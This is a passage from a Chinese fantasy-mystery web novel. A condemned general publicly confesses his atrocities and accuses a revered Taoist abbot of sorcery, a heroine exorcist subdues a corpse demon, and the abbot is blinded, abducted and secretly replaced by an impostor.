一个冰冷而可怕的念头,倏然划过姜绾心的脑海——
母亲若一直像现在这样活着,日日夜夜承受这无尽的痛苦与羞辱……
或许,还不如立时**干净!
至少能得个解脱……
这念头刚一浮现,连她自己都被吓了一跳,脸色瞬间惨白。
她怎会……怎会生出如此狠心的念头?
姜绾心慌乱地侧过眼,却正对上梅氏投来的目光。
梅氏的目光,不知何时已越过她,怔怔地望向窗外。
不知想到了什么,她干裂起皮的唇角,竟缓缓地勾起了一抹难以形容的淡淡笑意。
然后,她的视线转回,落在惊惶不安的女儿脸上。
梅氏看着她,极其缓慢地、无声地动了动口型,说出了三个清晰可辨的字。
姜绾心辨认着那口型,讶异道:“娘亲……是想唤爹爹来?”
姜世安倒是早已醒转过来。
只是不知何故,自从醒来之后,他一直呆愣愣地坐在自己房里,任凭老夫人如何叫唤,旁人如何询问,他也一语不发。
那副模样,简直像是丢了魂。
姜绾心看着母亲的眼神,心中满是不安。
但还是决定,按照母亲的示意,去把父亲姜世安唤来。
她哪里知道,正是她这看似“孝顺”的一举,将使得早已风雨飘摇的姜家,更为雪上加霜。
*
京城主街。
阳光透过微尘,明明晃晃地洒在青石路面上。
人群如潮水般从四面八方涌来,挤满了街道两侧,踮着脚尖,伸长脖子。
所有人的目光,都死死盯着街道中央那辆缓缓行进的、特制的囚车。
囚车以碗口粗的硬木打造,栅栏间隙很宽,足以让路人清楚看到里面蜷缩的人影。
徐莽被扔在囚车里,像一堆没有骨头的烂肉。
他上身赤裸,皮肤呈现出一种死气的灰败。
脊背那三处怨面瘤爆裂后留下的可怖伤口虽然被简单包扎,仍有黑红色的污秽不断渗出,染透了粗麻布。
他头发蓬乱如枯草,脸上污秽不堪,唯有一双深陷的眼睛,因极致的恐惧与恨意而迸发出骇人的光芒。
押送的衙役神情肃穆,步伐沉重。
囚车两旁,两名书吏骑着马,手握毛笔,在特制的硬皮簿册上飞快记录着。
整个队伍笼罩在一种沉重而压抑的氛围中。
忽然,囚车里的徐莽猛地抽搐了一下,喉咙里发出破风箱般的嗬嗬声。
随即,一个嘶哑、干裂、却异常清晰的声音,断断续续地传了出来,在寂静的街道上回荡:
“我,徐莽,有罪——!”
人群嗡地一声骚动起来。
“我……奉孟峥之命,杀良冒功!”
徐莽的声音陡然拔高,带着一种自毁般的疯狂,
“我们把逃难的百姓,当成敌军,割了首级去领赏!
一村……一村的人啊……都成了我的军功!”
街道两旁,无数倒吸冷气的声音响起。
一些来自南地、或有亲朋在南边的百姓,脸色瞬间变得惨白,眼中涌出愤怒的泪光。
“我还陷害同僚!”徐莽继续嘶喊,
“王副将,不肯同流合污,我就设计……让他战死!
李校尉,知道太多,我就让人在他酒里下药……让他坠马残废……”
每说出一桩罪行,人群中的愤恨便高涨一分。
已经有性子烈的汉子忍不住朝囚车方向啐了一口:“畜生!披着人皮的豺狼!”
“我对不起爹娘!”
徐莽的声音忽然带上了哭腔,却只让人感到虚伪与恶心,
“他们盼我光宗耀祖,我却用他们的命,献祭……这才开启了五亲断魂术。
我又害了对我有恩的张奎,府中老管家徐福,奶嬷嬷黄氏——
我身上的怨面瘤,就是从他们三人而来。
他们到死……都不知道,是被我害死的……”
“天打雷劈的玩意!”一个老妇人捶胸顿足,老泪纵横,“爹娘生养你,就是让你这么报答的?畜生都不如啊!”
“还有,樱柔……”徐莽念出这个名字,忍不住浑身战栗,
“那么好的姑娘,信了我,怀了我的孩儿……我却把她给卖了。
她一尸两命。她爹,也气**。我该死……我确实该死啊!”
“**!”
“禽兽!”
“该千刀万剐!”
唾骂声如同沸腾
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的开水,轰然炸响!
啪嗒!一个臭鸡蛋精准地砸在徐莽脸上,蛋液混合着污血糊了他一脸。
百姓们的愤怒被彻底点燃,若非有衙役阻拦,几乎要冲上前去将他撕碎!
“打死他!”
“老天爷怎么不收了他!”
就在这震天的唾骂声中,囚车里的徐莽却突然仰起脖子,用尽最后的力气,发出一声凄厉到变调的嘶吼,压过了所有的嘈杂:
“我有今日——不是我徐莽天生就这么坏!
是有人用邪术害我!诱惑我!唆使我走上这条绝路——!”
“呸!放**狗屁!”一个膀大腰圆的屠夫挥舞着拳头怒吼,
“自己心肝黑了,赖别人?你怎么不赖你娘没把你生好!”
“就是!死到临头还想找借口!”
“邪术?谁会用邪术害你这种烂人?你也配!”
百姓们骂得更凶了,显然不信他的狡辩。
徐莽脸上糊满秽物,却挣扎着将头挤出栅栏缝隙,赤红的眼睛扫过愤怒的人群。
他嘶声力竭,每一个字都仿佛用灵魂在呐喊:
“就是玄都观,玉衡**——!
他害我!他卖给我的那串‘辟邪安魂珠’——!根本就是害人的邪物!是催命的符咒!
是他!是他当初告诉我‘五亲断魂’的法子!
是他诱惑我牺牲至爱亲朋的命,去换前程!都是他——!!!”
“胡说八道!”
“放屁!玉衡**是得道高人,怎么会害你!”
“死到临头还要污蔑出家人,罪加一等!”
百姓们的反应更为强烈。
然而这一次,除了愤怒,更多了许多难以置信的惊呼与驳斥。
玄都观是如今京城香火最盛的圣地之一。
玉衡**,更是不知多少达官显贵、平民百姓口中的“活神仙”。
他慈悲为怀,道法高深,求子得子,求财得财。
玄都观的符水、手串、开光法器,被无数人奉若珍宝。
“我前些日子在玄都观求了道‘平安符’,给我家小孙孙戴上,他夜里果然不惊厥了!玉衡**是有真本事的!”
“就是!我娘的头风病,喝了观里送的符水,都好多了!**慈悲,时常义诊施药,怎会害人?”
“这姓徐的肯定是自己作恶多端,怕死后下地狱,胡乱攀咬!想拖**下水,分散罪孽!”
“**赐的‘送子珠’,我堂姐戴了,第二年就生了大胖小子!怎么可能是邪物?”
百姓们你一言我一语,纷纷用自己的“亲身经历”或听来的“灵验传闻”,激烈地驳斥着徐莽。
那种笃信,近乎虔诚,容不得半点玷污。
然而,在这片几乎一边倒的声讨与维护声中,也有一些人,沉默地站在人群里。
他们眉头紧锁,眼神惊疑地听着徐莽的嘶喊,嘴唇抿紧,欲言又止。
第249章 我帮你扎两针
不远处,云昭头戴幕笠,静立在街边。
她身边,赵悉正眉飞色舞,叭叭个不停:“……要不说还是云司主高明!
这一手先让这姓徐的把罪行抖落干净,然后抛出玉衡**这个‘幕后黑手’!”
如今这玄都观,在京城百姓心里跟半个仙境似的,香火旺得吓人,玉衡被捧得跟活神仙差不多。
要是没徐莽今天这出,将来官府就算拿着铁证去揭穿,保不齐就有那糊涂百姓,偏要觉得是官府污蔑好人。
搞不好真能激起民怨,酿出乱子!
现在好了,让徐莽这‘将死之人’亲口咬出来,真真假假,虚虚实实,先把怀疑的种子撒下去!
就在这时,一道颀长挺拔的身影闪了过来。
来人头上戴着一顶常见的青箬竹斗笠,遮住了大半面容,只露出线条清晰冷峻的下颌和一抹抿紧的薄唇.
他走到云昭身边,极其自然地站定,低声唤了句:“司主。”
云昭认出来人,瞥见他头上那顶斗笠,不禁觉得有些好笑。
这是做什么?堂堂秦王,还玩起微服私访的把戏了?
赵悉还在那嘚啵嘚:“……这就叫潜移默化,攻心为上!比直接贴告示、下公文可管用多了!”
“你可以再大声点,”
萧启淡淡地插了一句,“用不了一炷香,全京城的人,包括玄都观里那位,都能知道云司主下一步的计划是什么了。”
赵悉正说到兴头上,冷不丁被人打断,顿时气不打一处来,梗着脖子道:“嘿!本官正分析局势呢……”
他抱怨的话刚开了个头,目光便撞进了斗笠阴影下那双正微微转过来的眼眸——
赵悉宛如被瞬间掐住了脖子的鸭子,后面的话全噎在了喉咙里。
他下意识地缩了缩脖子:“咳!那什么……今日风大,是得小声点……”
一旁的余文远有些疑惑地看了看突然噤声的赵悉,又悄悄打量了下那位戴着斗笠的不速之客。
虽然心中好奇,但官场沉浮多年养成的谨慎,让他明智地选择了沉默。
就在这时,不远处的长街上,异变陡生!
就在绝大多数百姓,仍对徐莽攀咬玉衡的控诉嗤之以鼻时,一个嘶哑的吼声,猛地从人群中炸响,压过了所有嘈杂:
“都**给老子闭嘴——!!!”
人群被这突如其来的怒吼惊得一静,纷纷循声望去。
只见一个穿着粗布短打、眼眶通红、胡子拉碴的中年汉子,猛地推开身前的人,声泪俱下地吼道:
“他说的是真的!玉衡就是个妖道!就是个披着人皮的害人精!
我媳妇……我媳妇桂花!她前日夜里刚刚难产**!一尸两命啊!”
他嚎啕大哭,继续站不稳:“两个月前,我娘非要去玄都观,给桂花求了那劳什子的‘保胎仙珠’!
花了一两银子!戴了不到半个月,桂花就说心口闷,做噩梦……
我们都以为她是快生了身子沉重,谁都没多想。直到前日突然发作,接生婆来了……
血流了一盆又一盆……人就那么没了!孩子也没了!
我的家……我的家就这么毁了!
什么狗屁仙师!什么狗屁灵珠!都是害人的东西!都是催命的符——!!!”
这汉子悲痛欲绝的指控,宛如一道惊雷,轰然炸响。
方才那些为玄都观和玉衡**辩护的声音,骤然低了下去。
许多人脸上露出了惊愕茫然之色。
那自称失去妻儿的汉子还在原地捶胸顿足,哭天抢地,状若疯魔。
幕笠轻纱后,云昭目光扫过那悲愤的汉子,朝萧启一点头。
萧启朝不远处的某个方向,做了个隐秘的手势。
一直隐在附近人群中的两名影卫,朝着那痛哭汉子的方向悄然靠近。
不多时,其中一个影卫带回消息——
男子名叫李老实,以做木匠为生,就住在这附近杏花巷,家中妻儿死于前夜子时。
云昭心中念头飞转。
前夜亥时三刻,正是她受严嬷嬷所托,强行保胎破了“子母怨煞”图谋的时刻!
也就是说,玉衡**眼见计划失败,当即强行催动了另一处的“子母怨煞”。
只不过,因为时辰晚了一些,顺延至子时,这“子母怨煞”的阴邪之气,远比不上其最初选中的丽娘。
以如今京城百姓对玄都观的推崇和痴迷,买了“保胎珠”的女子不知繁几!
就算云昭能救下一个、两个……
但总有妇人,或因家人的愚信,或因自身的恐惧,死死瞒着异常!
他们不但不肯告知官府,反而会更加虔诚地依赖那索命的“宝珠”!
想要破除迷信,必须开智!
而口口相传的话本子,正是一个很好的途径。
云昭抬眼望去,押着徐莽的囚车继续缓缓向前,朝着既定的方向行去。
城隍爷柳大人的金色身影一闪而过,也跟着徐莽同去,显然就等着收割他的亡魂呢。
云昭沉吟片刻,轻声吩咐:“客气些,去将那位李木匠请过来。就说玄察司主有话要问他。”
趁这间隙,云昭看向跟在一旁的余文远:“余大人可知道墨韵轩?”
余文远思索片刻,道:
“下官确有印象。这‘墨韵轩’大约是三个月前开张,门面不大,装潢清雅,东家似乎是个外来的书生。”
他顿了顿,似乎在斟酌用词,“它不似寻常书肆,售卖经史子集或畅销话本,而是专出一种薄册‘连载故事’。
每旬出一两册,故事内容……光怪陆离。专讲些前世今生、因果报应、奇闻诡事。
因其文笔尚可,情节猎奇,近来在闺阁女子和市井闲人中,售卖得颇为火热。
倒是引得几家老牌书肆也纷纷打起了售卖这连载故事的主意。”
跟在云昭身后的萧启,眸光微微一闪。
他自然知道“墨韵轩”是何人手笔,更清楚其中那
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些“故事”的来历与用意。
云昭朝余文远招了招手,示意他附耳过来。
她以仅有两人能听到的声音,低声吩咐了几句。
云昭所言,条理清晰,每一个要求都具体而明确,显然心中早有成算。
片刻之后,云昭道:“此事关系不小,需隐秘迅捷。余大人,可能办好?”
余文远此刻心中早已是波澜起伏。
经过方才诏狱里那惊心动魄的一幕,亲眼见识了云昭玄术通神,更亲身体验了那“禁言符”的厉害……
如今的余文远,对这位云司主,早已熄了初时攀附利用的心思。
他现在脑子里转的,首要便是如何不触怒这位手段莫测的司主。
至于讨好攀附,那就不是他该想的事!
他深吸一口气,压下心中最后一丝犹豫,拱手躬身,语气郑重:
“司主放心。此事虽有些枝节需处理,但确在下官职分之内。
下官必定小心谨慎,尽快将事情办妥,不给司主添乱。”
他顿了顿,又道,“待下官办妥,即刻前往昭明阁禀报。”
云昭微微颔首:“有劳余大人。”
余文远不再多言,又行了一礼,转身便匆匆离去,背影很快消失在街角人流中。
待余文远离去,云昭这才转过身。
幕笠轻纱拂动,云昭瞥一眼脊背有些僵硬的萧启,道:“你跟我来。”
又点了正偷偷瞄着萧启的赵悉:“还有你,也一起。”
萧启与赵悉的目光在空中短暂交汇。
萧启几不可察地微微摇首,眼中掠过一丝无奈。
墨韵轩的事,以云昭的敏锐,一旦开始追查,想继续瞒着她,几乎是不可能的了。
况且……他也从未真正想过要一直隐瞒下去,只是此前时机未到。
云昭瞥一眼正在给萧启眨眼睛的赵悉:“怎么,赵大人眼睛抽筋了?”
赵悉接收到萧启的眼神,却误解了他的意思,以为是要他帮忙打掩护。
他连忙冲着萧启挤眉弄眼:尽管包在本世子身上!
云昭虽戴着幕笠,但感知何等敏锐?
她幕笠微偏,看向赵悉,语气带着一丝玩味:
“赵大人这是怎么了?眼睛不舒服?需不需要我帮你扎两针通通脉?”
赵悉吓得一个激灵,连忙摆手,干笑道:
“云昭你别误会!我就是……突然想到你之前提醒我的那件事,心里有点发毛!”
他试图转移话题,眼神却忍不住往萧启那边飘。
云昭岂是那么容易糊弄的?
她故意道:“我倒是有个法子,可助赵大人提前感受一下其中滋味,如何?”
赵悉一听,脸都绿了。
他连连摆手,苦着脸道:“千万别!”
他可怜巴巴地看向萧启:哥您倒是说句话!
萧启:“……”他看起来像是惹得起云昭的样子吗?
就在这时,两名影卫已带着神情恍惚的李木匠走了过来。
第250章 瞎了!
李老实本就悲痛惊惧,直到看见幕笠遮面的云昭和她身旁气度不凡的赵悉、萧启,才稍微定了定神。
云昭开口道:“李木匠,我乃玄察司司主,云昭。方才在街边,听到了你的哭诉。
关于你妻子之事,我有几句紧要的话,需当面问个明白。
此事,或许关乎能否替你妻儿讨回些许公道。”
李老实浑浊的眼睛里猛地迸发出一丝光芒,如同溺水之人抓住了浮木。
他虽是个普通木匠,但也听过玄察司的名头,知道是专管奇案冤情的衙门。
他“扑通”一声就跪了下来,不顾地上尘土,朝着云昭连连叩首:“青天大老爷!青天女菩萨!求您给我那苦命的桂花和未出世的孩儿做主啊!他们死得冤啊!”
“你先起来,仔细回答我的问题。”
云昭声音冷静,“你方才说,你妻子张氏,是在前夜子时,难产而亡,一尸两命。我问你,人可曾下葬?”
李老实连忙摇头,眼中又涌出泪来,夹杂着恨意:“没有!还没下葬!家里停着灵呢!”
他咬牙切齿道,“昨天就有两个自称是玄都观道士的人找上门,说什么我媳妇是‘福薄’,承受不住仙珠灵气,反而冲撞了,才招致横死。
让我赶紧把人埋了,还得把珠子一起埋进去‘镇煞’,否则会祸及家人!
**镇煞!老子偏不!
老子就要留着!就要让所有人都看看,那珠子到底是什么鬼东西!”
云昭眸光微凝:“家中可有人守着?”
“就……就我老娘,还有我八岁的大丫。”
李老实抹了把泪,“我出来……是想看看这害人的将军**,也想找地方说道说道我家的冤屈!”
云昭抬头看了看天色,日头偏西,已是酉时末(酉时末约为七点,本段剧情发生在盛夏)。
酉时乃日入之时,阴阳交替,亦是某些阴邪之物开始活跃的时刻。
她当机立断:“李木匠,立刻带路,去你家!快!”
李老实一愣,虽不明所以,但见云昭神色严肃,语气紧迫,也不敢多问。
他连忙点头,踉跄着转身就在前引路:“在、在杏花巷!这边!”
云昭等人不再多言,提步便走。
一行人穿过渐渐散去但仍议论纷纷的人群,拐入狭窄的巷道,急匆匆朝着杏花巷而去。
杏花巷深处,是一座普通的青砖小院。
此时天色已暗,夕阳的余晖将小院的轮廓镀上一层黯淡的金边,更添几分凄清。
院门虚掩着,里面静悄悄的。
听不到寻常百姓家傍晚应有的炊烟人语,只有一种令人不安的死寂。
“娘?大丫?”李老实心中莫名一慌,抢上前推开院门。
眼前的景象,让所有人呼吸一窒!
只见小小的院落中央,一口薄皮棺材停放在两条长凳上,棺材盖竟已向一侧滑开尺许,露出里面一截苍白浮肿、穿着粗糙寿衣的手臂!
那只手透着一股不祥的青黑色,指甲竟莫名长了些许,呈现出诡异的幽紫。
棺材旁,一个头发花白、身材佝偻的老妇人瘫倒在地,额角撞在院中石磨上,渗出暗红的血迹。
一个梳着两个小鬏鬏、约莫七八岁的小女孩,直挺挺站在棺材前,小小的身体僵直着,一动不动。
更令人毛骨悚然的是,棺材里,正有一团浓郁得化不开的黑气,缓缓溢出!
那黑气中,隐约可见一个脸色青白浮肿、双目紧闭的妇人轮廓;
以及一个蜷缩在她腹前、更加模糊不清的婴孩黑影!
两团黑影的气息阴冷刺骨,带着冲天的怨毒与不甘,正是即将起尸的“子母怨煞”!
此刻,母煞五指弯如铁钩,正缓缓伸向似乎被吓呆了的大丫的后心!
而那子煞的黑影,也发出如同猫崽哀嚎般的啼哭,声音直钻人脑髓!
“大丫——!”李老实目眦欲裂,就要冲过去。
“别动!”云昭厉声喝止!
两名影卫反应极快,一左一右瞬间出手,如铁钳般牢牢按住了几乎要疯狂的李老实。
与此同时,云昭左手扣住三张金色符箓,朝大丫疾射而出,精准落在了大丫的头顶和双肩上方!
“天地玄宗,万炁本根!金光速现,覆护**!”
三张金符无风自燃,化作三道柔和却坚韧的金色光柱。
瞬间交织成一个半透明的淡金色光罩,如同倒扣的金钟,将大丫娇小的身体完全笼罩在内!
大丫僵硬的身子微微一颤,眼中恢复了一丝清明,但巨大的恐惧仍让她无法动弹,只能呆呆地看着前方。
几乎在云昭出手的同时,萧启和另外两名影卫身形如电,直扑棺材与大丫之间的位置!
萧启手中长剑已悄然出鞘半尺,剑身发出低微的嗡鸣。
他并未使用花哨的招式,一剑横斩!
竟生生逼开了试图缠绕过来的黑气!
两名影卫配合默契,刀光如织,专门削斩从母煞身上延伸出来的黑气!
三人手上的兵刃明显都是见过血的,阳气与凶气十足!
“赵悉!”云昭头也不回地喝道,“金线镶边‘破煞符’!找准时机,贴它面门!”
“啊?哦!好!”赵悉先是一懵,随即从怀里掏出那沓宝贝似的符箓,快速翻找起来!
他怕死,但更不想云昭或萧启有事!
萧启和两名影卫虽暂时阻隔黑气,但母煞似被激怒,双手猛地探出,抓向萧启!
就在这千钧一发之际,大丫忽然转过身,脸上满是泪痕,却不再只是恐惧。
她看着棺材里那熟悉又陌生的可怖面容,带着哭腔,用尽全身力气喊了一声:“娘——!
娘不要害人!大丫怕……大丫想娘!”
这稚嫩却充满依恋的呼喊,似一道微弱却纯净的光,刺入了黑气的核心!
正要抓向萧启的两只青黑鬼爪,猛地一滞!
棺材中,母煞张氏那青白浮肿的脸上,极其痛苦地扭曲了一下,紧闭的眼角,似乎有黑色的血泪淌下。
她的五指痉挛般地蜷缩起来,竟仿佛在与某种无形的力量抗争,极其艰难地往回缩了一寸!
而它腹前的子煞黑影,凄厉的啼哭也骤然变调,成了更加无助的呜咽。
母女连心!
即便是被邪术催化、怨气冲天的“子母怨煞”,在幼子纯真执念的呼唤下,仍产生了瞬间的动摇!
云昭眸中精光暴涨,双手结印速度更快。
两道符文自她掌心激射而出,并非直接攻击那母煞,而是迅疾无比地缠上子煞黑影!
子母同体,怨气共生,相对弱小的子煞,此刻正是最好的突破口!
符文缠上子煞的瞬间,那婴孩黑影发出尖锐的嘶鸣,连带母煞也发
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出痛苦的咆哮,黑气疯狂翻涌,试图挣脱!
“困住它!别让它挣脱回棺!”云昭清喝,额角已见细密汗珠。
萧启心领神会,剑势陡然一变,从守转攻。
剑光如匹练,带着灼热的阳刚内力,将母煞死死限制在棺材附近,阻止它退回棺中!
而就在这时,赵悉躬身前冲,如同狸猫般瞬间欺近数尺!
三指捏住那张“破煞符”,猛然发力一弹!
符箓脱手,并非轻飘飘飞射,而是如同被无形力道灌注,化作一道淡金色的流光!
黄符沾额,朱砂符文瞬间爆发出耀眼的红光!
“啊——!!!”
母煞发出了一声充满不甘与痛苦的嘶鸣,两只青黑鬼爪无力地垂下,浮肿的身体迅速干瘪下去,恢复了寻常尸骸的模样。
与之紧密相连的子煞黑影,也在一声微弱呜咽后,乖乖缩回母亲腹中。
夕阳最后一丝余晖恰好照进小院,带来些许暖意。
“成、成功了?”赵悉保持着投掷符箓的滑稽姿势,喘着粗气,不确定地问。
云昭轻轻舒了口气,对赵悉点了点头,难得夸了一句:“符贴得不错。赵大人,今日头功。”
赵悉一双潋滟的桃花眼笑如弯月:“就说本世子关键时候靠得住!”
云昭原本略显松懈的眸光,骤然变得锐利,猛地扫向小院东南角——
那里,屋檐下悬挂着一面平日里用来辟邪挡煞的旧铜镜!
只见那面原本蒙尘的铜镜,此刻竟无端泛起一层极其微弱的涟漪。
刚走到云昭身边的萧启也留意到了不对,当即做手势示意众人噤声。
云昭心中冷笑,手中银鞭裹着一张符箓骤然甩出,凌空朝铜镜疾速虚划!
与此同时,她口中低喃道:“乾坤朗朗,邪祟显形——反!”
下一刻,铜镜猛地一颤,镜面光华大盛,隐约可见一道模糊的、穿着道袍的身影轮廓!
“嗯?!”
镜中那模糊道袍身影似乎察觉到了异常,发出一声惊疑的闷哼。
就在这时,云昭指尖最后一点玄力爆发,并指朝着铜镜镜面,虚空狠狠一点!
“咔嚓——!!!”
伴着一声清脆的碎裂声,铜镜直接碎了。
而几乎在同一瞬间,玄都观深处,某间隐秘的丹房内。
盘坐在一面青铜古镜前的玉衡**,猝不及防间,只觉自己附着在法镜上的神念如同被一道炽烈而尖锐的力量狠狠刺中!
“呃啊——!”
他猛地捂住双眼,发出一声痛苦而惊怒的短促惨叫!
指缝间,竟有丝丝暗红色的血迹渗出!
不仅如此,那股反噬之力冲击着的心神,让他体内原本就因“噬魂符”而不稳的气息一阵剧烈翻腾。
他喉头一甜,当场呕出一口鲜血!
“姜、云、昭——!”
玉衡**放下手,露出那双再也无法睁开的双眼!
他万万没想到,自己谨慎地隔空窥探,不仅被对方瞬间识破,竟然还以如此巧妙而凌厉的方式反击,让他吃了这么大一个暗亏!
府君他……必定漏掉了什么关键!
姜云昭,怎会变得如此厉害!
玉衡**咬牙胸口剧烈起伏,心中杀意沸腾,却又不得不强行压下。
“好……好得很!姜云昭,我们走着瞧!”玉衡**咬牙切齿。
第251章 怎能就此毁了他!
一片黑暗之中。
玉衡**不顾浑身剧痛,猛地从冰冷的地面撑起身!
第一反应便是颤抖着抬起手,狠狠揉搓自己刺痛灼热的双眼。
没有用。
仍然没有用!
半个时辰了!
无论他如何运转残存真元,甚至不惜催动损耗寿元的秘法,刺激眼周经脉,眼前依旧只有一片混沌的虚无。
“不……不可能……我的眼睛……”
他不能瞎!
他是堂堂玄都观主,是陛下御口亲封的**,更是府君最重要的臂膀!
他还有宏图大业未竟,还有长生仙途要攀!
区区一个姜云昭,一个十六岁前连清微谷都没怎么离开过的小丫头,怎能就此毁了他!
恐惧与暴怒宛如藤蔓,缠绕在他的心间。
他强忍剧痛晕,凭着记忆和对房间布局的熟悉,手脚并用地在地上摸索、爬行。
冰冷的砖石,散落的蒲团,倾倒的香炉……
他像一条失明的瘸狗,狼狈不堪地爬向门口。
他得去寻长春子!
他是自己麾下医术最精的心腹。
他必定还有办法,能治好自己!
就在他的手指终于触碰到冰凉门板,挣扎着想要站起时——
“吱呀”一声。
门,被人从外面轻轻推开了。
一股带着淡淡药草清苦气息的风拂面而来。
是长春子!
他果然忠心,依照自己先前叮嘱,一直守在门外!
玉衡**如同抓住了救命稻草,猛地向前一扑,几乎撞进来人怀中,嘶声急道:
“长春子!快!快看看我的眼睛!用你最好的金针之术,最猛的药剂!
无论用什么法子,必须让我恢复视力,哪怕……哪怕只能看清三尺之物也行!”
他急促地喘息着,语无伦次:“陛下……陛下命我出发前往潼川驿,迎皇后凤驾,我已拖延两日,再也耽搁不起了!
皇后回銮事关重大,若误了时辰,陛下必会起疑!
还有子母怨煞……亥时三刻那一对虽然被姜云昭破了,但我还有法子补上!我的眼睛必须……”
话音未落,一股极其幽微的香气,猝不及防地钻入他的鼻腔。
那香气初闻似兰似麝,令人心神一荡。
但紧接着,一股强烈的麻痹感便如同闪电般从鼻腔直冲颅顶,瞬间席卷四肢百骸!
玉衡**的声音戛然而止。
他猛地意识到不对,想要屏息、想要后退、想要调动真元抵抗,却已经太迟了。
那香气仿佛有生命般,所过之处,经脉滞涩,真元凝固,连意识都迅速模糊起来。
“你……不是长春子……”
他用尽最后力气,从牙缝里挤出几个字。
而且,这是什么香?
缘何连玄门修士,都能轻易放倒?
脑海中倏然闪过一张秾丽却清冷的脸。
玉衡**想说什么,可一切都已晚了。
黑暗中,一只苍白的手,轻轻扶住了他软倒的身体。
玉衡**最后的感知,是感觉自己被人像货物一样扛起,颠簸着迅速移动,随后便彻底陷入了无边黑暗。
不多时,玄都观深处这间隐秘的丹房,再次被无声推开。
一道身影缓步走入。
此人穿着一身纤尘不染的月白色道袍,头戴芙蓉冠,面容……竟与玉衡**,足有**分相似!
只是细看之下,那眉宇间的神色更加漠然平静,眼神深处仿佛结着一层永不融化的冰,缺少了玉衡**那份刻意营造的温和仁慈。
他从容地走到玉衡**常坐的蒲团前,拂衣坐下,闭上双目。
短短数息之间,他的气息、姿态,甚至细微的呼吸频率,都与真正的玉衡**变得别无二致,宛如一个精心雕琢的复制品。
约莫半盏茶后,丹房外传来了略显急促的脚步声,以及太后那带着疑虑的声音:
“玉衡**可在里面?哀家方才在附近散步,仿佛听到你这院中有异响,可是出了什么事?”
门外,太后眉头微蹙,由两名贴身宫女搀扶着。
身后还跟着数名气息沉凝的大内侍卫。
她方才确实听到了一声短促而痛苦的叫声。
玉衡**近来深居简出,连她求见都推托了几次,今夜突然发出异响,由不得她不起疑。
丹房的门,再次被打开。
“玉衡**”立在门内,面上带着一丝恰到好处的微笑。
他朝着太后微微稽首:“惊扰娘娘凤驾,贫道之过。
方才正在参详一部古籍,忽于某处关窍豁然开朗,心喜难抑,不觉失声,倒让娘娘担忧了。”
他的声音清朗平和,与玉衡**平日语调分毫不差。
太后仔细打量着他。
道袍整齐,发髻一丝不苟,面色红润,眼神清明,确无任何受伤或慌乱之态。
她心中疑虑稍减,但那份若有若无的不安仍未散去。
那声痛叫,实在不像是欣喜所致……
“**无恙便好。”太后缓缓道,目光却依旧在
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他脸上逡巡,“只是那声音听着……哀家还以为**遇到了什么麻烦。”
“让娘娘挂心了。”
“玉衡**”笑容不变,语气坦然,“修行之人,偶有顿悟,情难自禁,失态之处,还请娘娘海涵。”
他应对从容,滴水不漏,甚至连玉衡**说话时,不自觉轻抚袖口的小动作,都模仿得惟妙惟肖。
太后见他如此,也挑不出什么错处,只得将疑虑暂且压下。
她挥了挥手,示意侍卫宫女退远些。
自己则上前两步,压低了声音,脸上露出一丝难以抑制的迫切:
“**赐予哀家那‘养元丹’,药效极佳。
哀家这几日服用,自觉精神健旺,连往年的畏寒之症都减轻了许多。
不知**何时才能再为哀家炼制新药?”
“玉衡**”眸光几不可察地微微一闪,快得令人无法捕捉。
他脸上浮现出玉衡**惯有的、略带矜持与了然的笑意:“娘娘凤体安康,乃是社稷之福。
只不过,此丹炼制,确需耗费不少珍稀药材与心力……娘娘可将药瓶带来?”
太后闻言,立刻从袖中取出一个莹白如玉的小瓷瓶,递了过去,眼神中带着期盼。
“玉衡**”接过药瓶,指尖似无意地摩挲了一下瓶身,随即收入袖中。
他温言道:“此丹尚需一味药引做最后调和,方能发挥十成功效。药引罕见,需些时日寻访。
娘娘且宽心,三日之后,请再来此处,贫道必为娘娘备好。”
太后听他说得在情在理,且药引之说,正是从前玉衡**也频频提及的,心中最后一丝疑虑也消散了。
眼前这位“玉衡**”,无论是声音、气质、谈吐,乃至对这丹药的熟悉程度,都与之前别无二致。
她满意地点点头:“那就有劳**了。哀家三日后再来。”
目送太后带着人离去,“玉衡**”缓缓关上房门。
门扉合拢的瞬间,他脸上那温和的笑意如同潮水般褪去,恢复了一片深潭般的漠然。
他不再停留,转身走向丹房内室。
片刻后,已换上一身更显庄重的紫色法衣,手持拂尘,从容地走出院落。
观外,一辆低调却宽敞的马车早已等候多时。
车辕上,一名沉默的车夫如同雕塑。“玉衡**”登上马车,帘幕垂下。
“出发,潼川驿。”
马车缓缓启动,驶入浓重的夜色,朝着京城之外,皇后回銮的必经之地而去。
第252章 以牙还牙,加倍奉还!
与此同时,京城某处密室。
真正的玉衡**,被刻满符文的铁链锁在冰冷的石壁上。
他被剥去道袍,仅着里衣,睁着的双眼瞳仁发灰,眼角隐隐有血痕渗出。
此刻的他,只是一个双目已盲、法力被封的囚徒,哪里还有半分往日仙风道骨的模样。
云昭静静地站在阴影角落。
将玉衡囚于此地,并非云昭的临时起意。
实际上,自玉衡进入她的视线,与前世线索隐隐勾连,云昭就很想这样做了。
她与萧启商议的原计划,是借文昌大典,在众目睽睽之下,将玉衡与玄都观的罪行彻底钉死,连根拔起,以绝后患。
然而李老实家中的“子母怨煞”撞到眼前,她不得不出手。
而过程中那股如芒在背的窥伺感,很快便让云昭意识到,有人正隔空注视!
铜镜破碎的刹那,云昭也不能全然确定,那隔空一击究竟能给施术者造成多大伤害。
但她知道,必须抓住这稍纵即逝的战机!
接到秦王消息的瞬间,埋伏在玄都观内外的精锐影卫立即发动。
他们以雷霆之势控制住外围,第一时间拿下玉衡最信任的医道心腹长春子。
之后,再让萧启麾下那位精通易容之术的影卫墨十一,换上长春子衣袍,在玉衡**最不设防的时刻,以特制迷香将其一举成擒。
这个时辰,墨十一已然坐着马车出发,赶往潼川驿,去应对太后了。
云昭没有立刻审问。
只是用一种平静到近乎冷酷的目光,望着玉衡**。
就是这个视角。
这个视角……多么熟悉,又多么令人骨髓生寒。
在那个不见天日的暗室里,也有人像她此刻这般,站在阴影里,默默地“欣赏”着她的痛苦、绝望、以及生命一点一滴流逝的挣扎。
会是玉衡吗?
云昭不能肯定。
但无论如何,哪怕玉衡并非那人,也必定与她前世遭遇的惨死,有着脱不开的干系。
毕竟,灵峰临死前已经交代,命令姜珩率人屠戮清微谷的,正是太子与玉衡。
太子……她从未见过,更无冤无仇。
玉衡……入京之前,她甚至不知世上有这一号人物。
他们为何要对清微谷下此毒手?
仅仅是为了抹杀萧启被治愈的可能?
这个理由看似成立,却经不起深推。
世间有真本事的医者虽不可能遍地都是,但也绝非仅有清微谷一门。
